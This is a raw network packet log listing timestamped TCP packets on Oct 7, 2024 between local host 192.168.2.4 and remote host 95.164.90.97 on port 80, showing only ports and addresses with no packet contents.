Oct 7, 2024 03:15:45.974205971 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.974227905 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.974298954 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.974312067 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.974356890 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.974366903 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.974415064 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.974423885 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.974468946 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.974498987 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.974544048 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.974554062 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.974596024 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.974621058 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.974666119 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.974673986 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.974709034 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.974714041 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.974744081 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.974750042 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.974797964 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.974811077 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.974833012 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.974841118 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.974872112 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.974889994 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.974931002 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.974941969 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.974976063 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.974981070 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.975011110 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.975024939 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.975049019 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.975060940 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.975095034 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.975100040 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.975130081 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.975131989 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.975166082 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.975176096 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.975204945 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.975219011 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.975255966 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.975270033 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.975303888 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.975306988 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.975337982 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.975347042 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.975375891 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.975418091 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.975461006 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.975471020 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.975523949 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.975549936 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.975570917 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.975575924 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.975611925 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.975616932 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.975646973 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.975649118 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.975681067 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.975687027 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.975722075 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.975740910 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.975776911 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.975786924 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.975816011 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.975821018 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.975847006 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.975855112 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.975884914 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.975903988 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.975948095 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.975956917 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.975996971 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.976007938 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.976046085 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.976047039 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.976084948 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.976098061 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.976135015 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.976139069 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.976172924 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.976190090 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.976228952 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.976243019 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.976279974 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.976284027 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.976316929 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.976316929 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.976351976 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.976356030 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.976387024 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.976388931 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.976418018 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.976421118 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.976457119 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.976459980 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.976491928 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.976494074 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.976526022 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.976526022 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.976560116 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.976563931 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.976596117 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.976596117 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.976629019 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.976632118 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.976663113 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.976665974 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.976696968 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.976701021 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.976732016 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.976732969 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.976764917 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.976769924 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.976803064 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.976802111 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.976835012 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.976840973 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.976869106 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.976871014 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.976902008 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.976903915 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.976936102 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.976938009 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.976970911 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.976974010 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.977005959 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.977006912 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.977040052 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.977051973 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.977075100 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.977077007 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.977108955 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.977113962 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.977143049 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.977147102 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.977179050 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.977193117 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.977215052 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.977220058 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.977248907 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.977258921 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.977283001 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.977293968 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.977319002 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.977328062 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.977354050 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.977360964 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.977385044 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.977397919 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.977420092 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.977425098 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.977454901 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.977463961 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.977489948 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.977497101 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.977525949 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.977538109 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.977560043 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.977569103 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.977596045 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.977607012 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.977631092 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.977641106 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.977668047 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.977678061 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.977703094 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.977715969 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.977739096 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.977746964 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.977773905 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.977791071 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.977808952 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.977822065 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.977843046 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.977865934 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.977878094 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.977885008 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.977912903 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.977924109 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.977950096 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.977961063 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.977984905 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.977991104 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.978020906 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.978022099 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.978055000 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.978060961 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.978089094 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.978092909 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.978121996 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.978122950 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.978156090 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.978158951 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.978197098 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.978197098 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.978231907 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.978240967 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.978266954 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.978269100 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.978297949 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.978301048 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.978333950 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.978338957 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.978377104 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.978379011 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.978410959 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.978430986 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.978446007 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.978454113 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.978482008 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.978486061 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.978600979 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:45.978605986 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:45.978638887 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.060596943 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.060678005 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.060693026 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.060709953 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.060713053 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.060728073 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.060745955 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.060754061 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.060770988 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.060774088 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.060786009 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.060821056 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.060849905 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.060911894 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.060928106 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.060944080 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.060957909 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.060961962 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.060970068 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.060990095 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.061007977 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.061047077 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.061064005 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.061078072 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.061090946 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.061105967 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.061105967 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.061122894 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.061122894 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.061145067 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.061148882 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.061173916 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.061206102 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.061222076 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.061233997 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.061249971 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.061250925 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.061266899 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.061274052 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.061289072 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.061295033 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.061302900 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.061312914 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.061335087 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.061338902 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.061353922 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.061357975 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.061374903 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.061378956 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.061402082 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.061408997 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.061409950 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.061422110 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.061436892 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.061448097 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.061454058 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.061460972 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.061470985 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.061479092 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.061494112 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.061494112 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.061511040 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.061517954 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.061530113 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.061537981 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.061548948 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.061552048 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.061566114 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.061568022 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.061583042 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.061590910 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.061606884 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.061610937 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.061625957 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.061630011 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.061642885 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.061652899 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.061671019 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.061672926 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.061687946 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.061690092 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.061703920 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.061713934 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.061722040 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.061727047 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.061738014 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.061747074 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.061758041 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.061762094 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.061774015 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.061774969 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.061793089 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.061801910 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.061810017 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.061811924 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.061830044 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.061836958 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.061847925 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.061856031 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.061872959 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.061877012 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.061887026 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.061892033 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.061908007 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.061916113 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.061923981 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.061927080 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.061944008 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.061945915 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.061963081 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.061988115 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.062010050 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.062012911 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.062012911 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:46.062026024 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:46.062042952 CEST	80	49737	95.164.90.97	192.168.2.4
